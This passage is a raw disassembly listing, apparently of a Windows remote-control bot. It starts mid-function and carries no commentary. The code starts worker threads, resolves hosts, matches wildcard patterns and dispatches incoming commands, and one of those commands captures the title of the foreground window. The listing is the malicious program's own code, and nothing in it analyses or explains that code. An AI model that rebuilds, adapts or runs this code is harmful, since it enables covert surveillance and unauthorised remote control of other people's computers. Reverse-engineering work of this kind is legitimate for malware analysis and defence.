		push	dword ptr [eax]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch


loc_4073EB:				; CODE XREF: sub_4072FC+C2j
		cmp	[ebp+var_35], 1
		mov	[ebp+var_20], ebx
		mov	byte ptr [ebp+arg_0], 1
		jb	loc_40752B


loc_4073FC:				; CODE XREF: sub_4072FC+229j
		cmp	[ebp+var_20], ebx
		jnz	loc_40752B
		or	[ebp+var_C], 0FFFFFFFFh
		xor	esi, esi
		xor	edi, edi
		cmp	[ebp+var_30], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], ebx
		jbe	short loc_407482


loc_407424:				; CODE XREF: sub_4072FC+184j
		cmp	esi, ebx
		jnz	short loc_407482
		push	20h
		lea	eax, [ebp+var_2C]
		push	[ebp+var_34]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_18]
		call	sub_407237
		add	esp, 14h
		test	eax, eax
		jz	loc_40752B
		mov	eax, [ebp+var_2C]
		cmp	eax, ebx
		jnz	short loc_407476
		mov	eax, [ebp+var_24]
		add	[ebp+var_1C], eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40745C
		mov	[ebp+var_C], eax


loc_40745C:				; CODE XREF: sub_4072FC+15Bj
		cmp	eax, [ebp+var_4]
		jbe	short loc_40747C
		mov	[ebp+var_4], eax
		jmp	short loc_40747C
; ---------------------------------------------------------------------------


loc_407466:				; CODE XREF: sub_4072FC+D3j
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_411778	; printf
		pop	ecx
		jmp	loc_40752B
; ---------------------------------------------------------------------------


loc_407476:				; CODE XREF: sub_4072FC+150j
		push	1
		mov	[ebp+var_14], eax
		pop	esi


loc_40747C:				; CODE XREF: sub_4072FC+163j
					; sub_4072FC+168j
		inc	edi
		cmp	edi, [ebp+var_30]
		jb	short loc_407424


loc_407482:				; CODE XREF: sub_4072FC+126j
					; sub_4072FC+12Aj
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_14], ebx
		mov	[ebp+var_10], eax
		jnz	short loc_4074E8
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		div	[ebp+var_30]
		push	2
		push	4
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_412234	; gethostbyaddr
		cmp	eax, ebx
		jz	loc_407534
		movzx	ecx, byte ptr [ebp+var_10+3]
		push	ecx
		movzx	ecx, byte ptr [ebp+var_10+2]
		push	ecx
		movzx	ecx, byte ptr [ebp+var_10+1]
		push	ecx
		movzx	ecx, byte ptr [ebp+var_10]
		push	ecx
		push	dword ptr [eax]
		movzx	eax, byte ptr [ebp+arg_0]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_41459C
		push	eax
		call	sub_4096CB
		add	esp, 2Ch
		jmp	short loc_40750D
; ---------------------------------------------------------------------------


loc_4074E8:				; CODE XREF: sub_4072FC+18Fj
		movzx	eax, byte ptr [ebp+arg_0]
		push	[ebp+var_14]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_414574
		push	eax
		call	sub_4096CB
		add	esp, 10h


loc_40750D:				; CODE XREF: sub_4072FC+1EAj
					; sub_4072FC+26Ej
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_10]
		jnz	short loc_40751C
		mov	[ebp+var_20], 1


loc_40751C:				; CODE XREF: sub_4072FC+217j
		inc	byte ptr [ebp+arg_0]
		mov	al, byte ptr [ebp+arg_0]
		cmp	al, [ebp+var_35]
		jbe	loc_4073FC


loc_40752B:				; CODE XREF: sub_4072FC+47j
					; sub_4072FC+91j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407534:				; CODE XREF: sub_4072FC+1ACj
		movzx	eax, byte ptr [ebp+var_10+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_10+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_10+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_10]
		push	eax
		push	[ebp+var_4]
		movzx	eax, byte ptr [ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_414548
		push	eax
		call	sub_4096CB
		add	esp, 28h
		jmp	short loc_40750D
sub_4072FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40756C	proc near		; CODE XREF: sub_407A76+9A3p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_4], edi
		jnz	short loc_40758D
		push	offset unk_414620
		push	[ebp+arg_0]
		call	sub_4096CB
		pop	ecx


loc_407587:				; CODE XREF: sub_40756C+E0j
		pop	ecx
		jmp	loc_407658
; ---------------------------------------------------------------------------


loc_40758D:				; CODE XREF: sub_40756C+Bj
		push	2ACh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_407658
		push	1A3h
		push	[ebp+arg_0]
		push	esi
		call	sub_4114D0	; memcpy
		push	[ebp+arg_4]
		lea	eax, [esi+1A3h]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 14h
		cmp	[ebp+arg_8], edi
		jz	short loc_4075E2
		push	[ebp+arg_8]
		call	sub_41151C	; atoi
		cmp	eax, 0FFh
		pop	ecx
		jg	short loc_4075E2
		push	[ebp+arg_8]
		call	sub_41151C	; atoi
		pop	ecx
		jmp	short loc_4075E5
; ---------------------------------------------------------------------------


loc_4075E2:				; CODE XREF: sub_40756C+59j
					; sub_40756C+69j
		push	1Eh
		pop	eax


loc_4075E5:				; CODE XREF: sub_40756C+74j
		cmp	[ebp+arg_C], edi
		mov	[esi+2A3h], al
		jz	short loc_40760B
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		cmp	eax, 927C0h
		pop	ecx
		jg	short loc_40760B
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		pop	ecx
		jmp	short loc_407610
; ---------------------------------------------------------------------------


loc_40760B:				; CODE XREF: sub_40756C+82j
					; sub_40756C+92j
		mov	eax, 7530h


loc_407610:				; CODE XREF: sub_40756C+9Dj
		cmp	[ebp+arg_10], edi
		mov	[esi+2A4h], eax
		jz	short loc_407626
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		pop	ecx
		jmp	short loc_407629
; ---------------------------------------------------------------------------


loc_407626:				; CODE XREF: sub_40756C+ADj
		push	3
		pop	eax


loc_407629:				; CODE XREF: sub_40756C+B8j
		mov	[esi+2A8h], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	esi
		push	offset sub_4072FC
		push	edi
		push	edi
		call	dword_4120BC	; CreateThread
		cmp	eax, edi
		jnz	short loc_407651
		push	esi
		call	sub_4114CA	; free
		jmp	loc_407587
; ---------------------------------------------------------------------------


loc_407651:				; CODE XREF: sub_40756C+D8j
		push	eax
		call	dword_4120AC	; CloseHandle


loc_407658:				; CODE XREF: sub_40756C+1Cj
					; sub_40756C+30j
		pop	edi
		pop	esi
		leave
		retn
sub_40756C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40765C	proc near		; CODE XREF: sub_4077A7+2Cp

var_1108	= byte ptr -1108h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1108h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	ecx, [esi]
		lea	ebx, [esi+4]
		lea	edi, [esi+104h]
		push	ebx
		push	edi
		lea	eax, [esi+204h]
		push	dword ptr [ecx]
		push	offset dword_414674
		push	eax
		call	sub_4096CB
		push	2710h
		push	0
		push	offset dword_414670
		push	edi
		call	sub_403C04
		mov	edi, eax
		add	esp, 24h
		test	edi, edi
		mov	[ebp+var_4], edi
		jnz	short loc_4076B4
		xor	al, al
		jmp	loc_4077A2
; ---------------------------------------------------------------------------


loc_4076B4:				; CODE XREF: sub_40765C+4Fj
		push	ebx
		lea	eax, [ebp+var_108]
		push	offset dword_414668
		push	eax
		call	dword_4121EC	; wsprintfA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4114BE	; strlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	edi
		call	sub_403D9D
		add	esp, 1Ch
		test	eax, eax
		jz	loc_407795
		lea	eax, [ebp+var_1108]
		push	1000h
		push	eax
		push	edi
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_407795
		cmp	eax, 0FFFFFFFFh
		jz	loc_407795
		cmp	[ebp+var_1108],	0
		lea	ebx, [ebp+var_1108]
		jz	short loc_407791
		mov	edi, offset dword_419678


loc_407727:				; CODE XREF: sub_40765C+133j
		push	ebx
		call	sub_405A76
		cmp	byte ptr [ebx],	0
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_40774A
		push	offset dword_413F54
		push	ebx
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40774A
		push	ebx
		jmp	short loc_407759
; ---------------------------------------------------------------------------


loc_40774A:				; CODE XREF: sub_40765C+D8j
					; sub_40765C+E9j
		lea	eax, [ebp+var_1108]
		cmp	ebx, eax
		jz	short loc_407767
		push	offset dword_414664


loc_407759:				; CODE XREF: sub_40765C+ECj
		lea	eax, [esi+204h]
		push	eax
		call	sub_4096CB
		pop	ecx
		pop	ecx


loc_407767:				; CODE XREF: sub_40765C+F6j
		push	3E8h
		call	dword_4120A4	; Sleep
		push	edi
		call	sub_407200
		mov	eax, [esi]
		push	edi
		mov	ebx, [eax+4]
		call	sub_40720B
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jnz	short loc_407791
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx],	0
		jnz	short loc_407727


loc_407791:				; CODE XREF: sub_40765C+C4j
					; sub_40765C+12Bj
		mov	bl, 1
		jmp	short loc_407797
; ---------------------------------------------------------------------------


loc_407795:				; CODE XREF: sub_40765C+8Bj
					; sub_40765C+A8j ...
		xor	bl, bl


loc_407797:				; CODE XREF: sub_40765C+137j
		push	[ebp+var_4]
		call	sub_403D70
		pop	ecx
		mov	al, bl


loc_4077A2:				; CODE XREF: sub_40765C+53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40765C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077A7	proc near		; DATA XREF: sub_40780C+87o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		lea	eax, [ebp+var_3A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40765C
		add	esp, 14h
		test	al, al
		jnz	short loc_4077FA
		lea	eax, [ebp+var_2A4]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	offset dword_4146A0
		push	eax
		call	sub_4096CB
		add	esp, 0Ch


loc_4077FA:				; CODE XREF: sub_4077A7+36j
		push	[ebp+var_3A8]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4077A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40780C	proc near		; CODE XREF: sub_407A76+9C2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	esi
		jz	loc_4078A0
		push	3A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4078A0
		push	[ebp+arg_4]
		lea	eax, [esi+4]
		push	eax
		call	sub_4114B8	; _mbscpy
		cmp	[ebp+arg_8], 0
		pop	ecx
		pop	ecx
		jz	short loc_407852
		push	[ebp+arg_8]
		lea	eax, [esi+104h]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40786E
; ---------------------------------------------------------------------------


loc_407852:				; CODE XREF: sub_40780C+31j
		push	edi
		lea	edi, [esi+104h]
		push	offset dword_4146DC
		push	edi
		call	sub_4114B8	; _mbscpy
		push	edi
		call	sub_40B5E1
		add	esp, 0Ch
		pop	edi


loc_40786E:				; CODE XREF: sub_40780C+44j
		push	1A3h
		lea	eax, [esi+204h]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4146BC
		push	0
		push	esi
		push	offset sub_4077A7
		call	sub_406D58
		add	esp, 18h


loc_4078A0:				; CODE XREF: sub_40780C+8j
					; sub_40780C+1Dj
		pop	esi
		pop	ebp
		retn
sub_40780C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4078A3	proc near		; CODE XREF: sub_4078A3+51p
					; sub_40A236+125p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_4078AD:				; CODE XREF: sub_4078A3+1Cj
					; sub_4078A3+41j
		mov	dl, [esi]
		mov	cl, [eax]
		test	dl, dl
		jnz	short loc_4078C1
		test	cl, cl
		jz	short loc_4078E6
		cmp	cl, 2Ah
		jnz	short loc_407906
		inc	eax
		jmp	short loc_4078AD
; ---------------------------------------------------------------------------


loc_4078C1:				; CODE XREF: sub_4078A3+10j
		test	cl, cl
		jz	short loc_407906
		cmp	dl, cl
		jz	short loc_4078E2
		cmp	cl, 3Fh
		jz	short loc_4078E2
		cmp	cl, 23h
		jnz	short loc_4078EA
		cmp	dl, 30h
		jl	short loc_4078DD
		cmp	dl, 39h
		jle	short loc_4078E2


loc_4078DD:				; CODE XREF: sub_4078A3+33j
		cmp	dl, 23h
		jnz	short loc_407906


loc_4078E2:				; CODE XREF: sub_4078A3+24j
					; sub_4078A3+29j ...
		inc	eax
		inc	esi
		jmp	short loc_4078AD
; ---------------------------------------------------------------------------


loc_4078E6:				; CODE XREF: sub_4078A3+14j
					; sub_4078A3+5Aj
		mov	al, 1
		jmp	short loc_407908
; ---------------------------------------------------------------------------


loc_4078EA:				; CODE XREF: sub_4078A3+2Ej
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_407906
		lea	edi, [eax+1]


loc_4078F2:				; CODE XREF: sub_4078A3+61j
		push	edi
		push	esi
		call	sub_4078A3
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_4078E6
		cmp	[esi], al
		jz	short loc_407906
		inc	esi
		jmp	short loc_4078F2
; ---------------------------------------------------------------------------


loc_407906:				; CODE XREF: sub_4078A3+19j
					; sub_4078A3+20j ...
		xor	al, al


loc_407908:				; CODE XREF: sub_4078A3+45j
		pop	edi
		pop	esi
		retn
sub_4078A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40790B	proc near		; CODE XREF: sub_406EA9+A5p
					; sub_406F84+D0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi


loc_407916:				; CODE XREF: sub_40790B+1Dj
					; sub_40790B+61j
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40792A
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40796E
		cmp	cl, 2Ah
		jnz	short loc_40798E
		inc	eax
		jmp	short loc_407916
; ---------------------------------------------------------------------------


loc_40792A:				; CODE XREF: sub_40790B+Fj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_40798E
		cmp	cl, dl
		jz	short loc_40796A
		cmp	cl, 41h
		jl	short loc_40793E
		cmp	cl, 5Ah
		jle	short loc_407948


loc_40793E:				; CODE XREF: sub_40790B+2Cj
		cmp	cl, 61h
		jl	short loc_407951
		cmp	cl, 7Ah
		jg	short loc_407951


loc_407948:				; CODE XREF: sub_40790B+31j
		mov	bl, cl
		xor	bl, 20h
		cmp	bl, dl
		jz	short loc_40796A


loc_407951:				; CODE XREF: sub_40790B+36j
					; sub_40790B+3Bj
		cmp	dl, 3Fh
		jz	short loc_40796A
		cmp	dl, 23h
		jnz	short loc_407972
		cmp	cl, 30h
		jl	short loc_407965
		cmp	cl, 39h
		jle	short loc_40796A


loc_407965:				; CODE XREF: sub_40790B+53j
		cmp	cl, 23h
		jnz	short loc_40798E


loc_40796A:				; CODE XREF: sub_40790B+27j
					; sub_40790B+44j ...
		inc	eax
		inc	esi
		jmp	short loc_407916
; ---------------------------------------------------------------------------


loc_40796E:				; CODE XREF: sub_40790B+15j
					; sub_40790B+7Aj
		mov	al, 1
		jmp	short loc_407990
; ---------------------------------------------------------------------------


loc_407972:				; CODE XREF: sub_40790B+4Ej
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40798E
		lea	edi, [eax+1]


loc_40797A:				; CODE XREF: sub_40790B+81j
		push	edi
		push	esi
		call	sub_40790B
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_40796E
		cmp	[esi], al
		jz	short loc_40798E
		inc	esi
		jmp	short loc_40797A
; ---------------------------------------------------------------------------


loc_40798E:				; CODE XREF: sub_40790B+1Aj
					; sub_40790B+23j ...
		xor	al, al


loc_407990:				; CODE XREF: sub_40790B+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40790B	endp


; =============== S U B	R O U T	I N E =======================================



sub_407994	proc near		; CODE XREF: sub_4079AC+A4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	1
		test	ecx, ecx
		pop	eax
		jz	short locret_4079AB
		cmp	ecx, eax
		jl	short locret_4079AB


loc_4079A3:				; CODE XREF: sub_407994+15j
		imul	eax, [esp+arg_0]
		dec	ecx
		jnz	short loc_4079A3

locret_4079AB:				; CODE XREF: sub_407994+9j
					; sub_407994+Dj
		retn
sub_407994	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079AC	proc near		; CODE XREF: sub_40495C+27p
					; sub_407A76+EDCp ...

var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_18]
		xor	ebx, ebx
		movsd
		movsw
		movsb
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		cmp	byte ptr [esi],	30h
		jnz	short loc_4079E2
		mov	al, [esi+1]
		push	1
		cmp	al, 78h
		pop	ebx
		jz	short loc_4079DF
		cmp	al, 58h
		jnz	short loc_4079E2


loc_4079DF:				; CODE XREF: sub_4079AC+2Dj
		push	2
		pop	ebx


loc_4079E2:				; CODE XREF: sub_4079AC+23j
					; sub_4079AC+31j
		push	esi
		call	sub_4114BE	; strlen
		mov	edi, eax
		pop	ecx
		cmp	ebx, edi
		mov	[ebp+var_10], edi
		mov	[ebp+arg_0], ebx
		jge	short loc_407A6A
		sub	edi, ebx
		dec	edi


loc_4079F8:				; CODE XREF: sub_4079AC+BCj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+esi]
		push	eax
		call	sub_411784	; tolower
		cmp	eax, 30h
		pop	ecx
		mov	[ebp+var_C], eax
		jl	short loc_407A1B
		cmp	eax, 39h
		jg	short loc_407A1B
		add	eax, 0FFFFFFD0h
		mov	[ebp+var_4], eax
		jmp	short loc_407A4D
; ---------------------------------------------------------------------------


loc_407A1B:				; CODE XREF: sub_4079AC+60j
					; sub_4079AC+65j
		cmp	eax, 61h
		jl	short loc_407A72
		cmp	eax, 66h
		jg	short loc_407A72
		mov	dl, [ebp+var_18]
		test	dl, dl
		jz	short loc_407A4D
		push	0Ah
		lea	eax, [ebp+var_18]
		pop	ebx
		lea	ecx, [ebp+var_18]
		sub	ebx, eax


loc_407A37:				; CODE XREF: sub_4079AC+9Fj
		movsx	eax, dl
		cmp	[ebp+var_C], eax
		jnz	short loc_407A45
		lea	eax, [ebx+ecx]
		mov	[ebp+var_4], eax


loc_407A45:				; CODE XREF: sub_4079AC+91j
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jnz	short loc_407A37


loc_407A4D:				; CODE XREF: sub_4079AC+6Dj
					; sub_4079AC+7Ej
		push	edi
		push	10h
		call	sub_407994
		imul	eax, [ebp+var_4]
		add	[ebp+var_8], eax
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		pop	ecx
		dec	edi
		cmp	eax, [ebp+var_10]
		pop	ecx
		jl	short loc_4079F8


loc_407A6A:				; CODE XREF: sub_4079AC+47j
		mov	eax, [ebp+var_8]


loc_407A6D:				; CODE XREF: sub_4079AC+C8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407A72:				; CODE XREF: sub_4079AC+72j
					; sub_4079AC+77j
		xor	eax, eax
		jmp	short loc_407A6D
sub_4079AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A76	proc near		; CODE XREF: sub_409918+911p

var_59E4	= byte ptr -59E4h
var_19E4	= byte ptr -19E4h
var_9E4		= byte ptr -9E4h
var_5E0		= byte ptr -5E0h
var_560		= byte ptr -560h
var_3E3		= byte ptr -3E3h
var_3E0		= byte ptr -3E0h
var_364		= byte ptr -364h
var_328		= byte ptr -328h
var_2F4		= byte ptr -2F4h
var_260		= byte ptr -260h
var_22C		= byte ptr -22Ch
var_228		= byte ptr -228h
var_208		= byte ptr -208h
var_1E7		= byte ptr -1E7h
var_E7		= dword	ptr -0E7h
var_E3		= byte ptr -0E3h
var_7D		= byte ptr -7Dh
var_6F		= byte ptr -6Fh
var_6C		= byte ptr -6Ch
var_69		= dword	ptr -69h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5B		= byte ptr -5Bh
var_56		= byte ptr -56h
var_51		= byte ptr -51h
var_4C		= byte ptr -4Ch
var_47		= byte ptr -47h
var_40		= byte ptr -40h
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_23		= byte ptr -23h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 59E4h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_14]
		push	edi
		push	dword ptr [esi]
		call	sub_40A64A
		push	[ebp+arg_0]
		mov	edi, eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4114B8	; _mbscpy
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1E7]
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	eax, [ebp+arg_C]
		push	7Ah
		push	[ebp+arg_10]
		mov	[ebp+var_E7], eax
		lea	eax, [ebp+var_E3]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 20h
		cmp	edi, dword_414F20
		push	1
		pop	eax
		mov	[ebp+var_69], eax
		jnz	short loc_407AEC
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41094B
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_407AEC:				; CODE XREF: sub_407A76+63j
		cmp	edi, dword_414F14
		jnz	short loc_407B31
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_407B25
		lea	eax, [ebp+var_22C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_404A70
		add	esp, 0Ch
		lea	eax, [ebp+var_40]
		push	eax


loc_407B16:				; CODE XREF: sub_407A76+B9j
		push	offset dword_414F0C


loc_407B1B:				; CODE XREF: sub_407A76+A7Bj
					; sub_407A76+BABj
		call	sub_4097DB
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_407B25:				; CODE XREF: sub_407A76+83j
		push	eax
		call	sub_4098C7
		pop	ecx
		push	dword ptr [esi+4]
		jmp	short loc_407B16
; ---------------------------------------------------------------------------


loc_407B31:				; CODE XREF: sub_407A76+7Cj
		cmp	edi, dword_414F00
		jnz	short loc_407B6B
		lea	eax, [ebp+var_5E0]
		push	200h
		push	eax
		call	dword_4121F4	; GetForegroundWindow
		push	eax
		call	dword_4121F0	; GetWindowTextA
		test	eax, eax
		jle	loc_408D69
		lea	eax, [ebp+var_5E0]
		push	eax
		push	offset dword_414EE4
		jmp	loc_40835E
; ---------------------------------------------------------------------------


loc_407B6B:				; CODE XREF: sub_407A76+C1j
		cmp	edi, dword_414ED8
		jnz	short loc_407B8A
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4057ED
		jmp	loc_40836A
; ---------------------------------------------------------------------------


loc_407B8A:				; CODE XREF: sub_407A76+FBj
		cmp	edi, dword_414ECC
		jnz	loc_407C5E
		mov	eax, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [eax+4]
		cmp	eax, ebx
		jz	loc_408D69
		push	180h
		push	eax
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_4114BE	; strlen
		mov	esi, eax
		add	esp, 10h
		cmp	esi, 3
		jle	short loc_407C04
		lea	edi, [ebp+esi+var_3E3]
		push	offset dword_414EC8
		push	edi
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407C04
		lea	eax, [ebp+var_3E0]
		mov	[edi], bl
		push	eax
		call	sub_4058B8
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		mov	esi, eax
		pop	ecx


loc_407C04:				; CODE XREF: sub_407A76+156j
					; sub_407A76+16Ej
		mov	eax, esi
		push	4
		cdq
		pop	ecx
		idiv	ecx
		mov	ecx, esi
		sub	ecx, eax
		cmp	ecx, 180h
		ja	loc_408D69
		lea	eax, [ebp+var_3E0]
		push	esi
		push	eax
		call	sub_40A798
		lea	eax, [ebp+var_3E0]
		push	esi
		push	eax
		call	sub_40A7C4
		push	eax
		lea	eax, [ebp+var_560]
		push	eax
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_40A51A
		add	esp, 1Ch
		lea	eax, [ebp+var_560]
		push	eax
		push	offset dword_414EA4
		jmp	loc_40835E
; ---------------------------------------------------------------------------


loc_407C5E:				; CODE XREF: sub_407A76+11Aj
		cmp	edi, dword_414E98
		jnz	loc_407CFC
		mov	esi, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	loc_408D69
		cmp	byte ptr [eax],	3Dh
		jnz	loc_408D69
		inc	eax
		push	eax
		call	sub_40A5D0
		test	eax, eax
		pop	ecx
		jz	loc_408D69
		mov	eax, [esi+4]
		inc	eax
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		mov	ecx, eax
		push	4
		cdq
		pop	edi
		idiv	edi
		sub	ecx, eax
		cmp	ecx, 180h
		ja	loc_408D69
		lea	eax, [ebp+var_3E0]
		push	eax
		mov	eax, [esi+4]
		inc	eax
		push	eax
		call	sub_40A44E
		push	eax
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_40A82E
		mov	esi, eax
		lea	eax, [ebp+var_3E0]
		push	esi
		push	eax
		call	sub_40A7AE
		add	esp, 18h
		lea	eax, [ebp+var_3E0]
		mov	[ebp+esi+var_3E0], bl
		push	eax
		push	offset dword_414E78
		jmp	loc_40835E
; ---------------------------------------------------------------------------


loc_407CFC:				; CODE XREF: sub_407A76+1EEj
		cmp	edi, dword_414E68
		jnz	short loc_407D18
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_404A33
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_407D18:				; CODE XREF: sub_407A76+28Cj
		cmp	edi, dword_414E58
		jnz	short loc_407D31
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40491E
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_407D31:				; CODE XREF: sub_407A76+2A8j
		cmp	edi, dword_414E50
		jnz	loc_407EE1
		push	0Ch
		mov	esi, offset dword_414E1C
		pop	ecx
		lea	edi, [ebp+var_260]
		rep movsd
		movsb
		push	5
		mov	esi, offset dword_414E04
		pop	ecx
		lea	edi, [ebp+var_18]
		rep movsd
		lea	eax, [ebp+var_260]
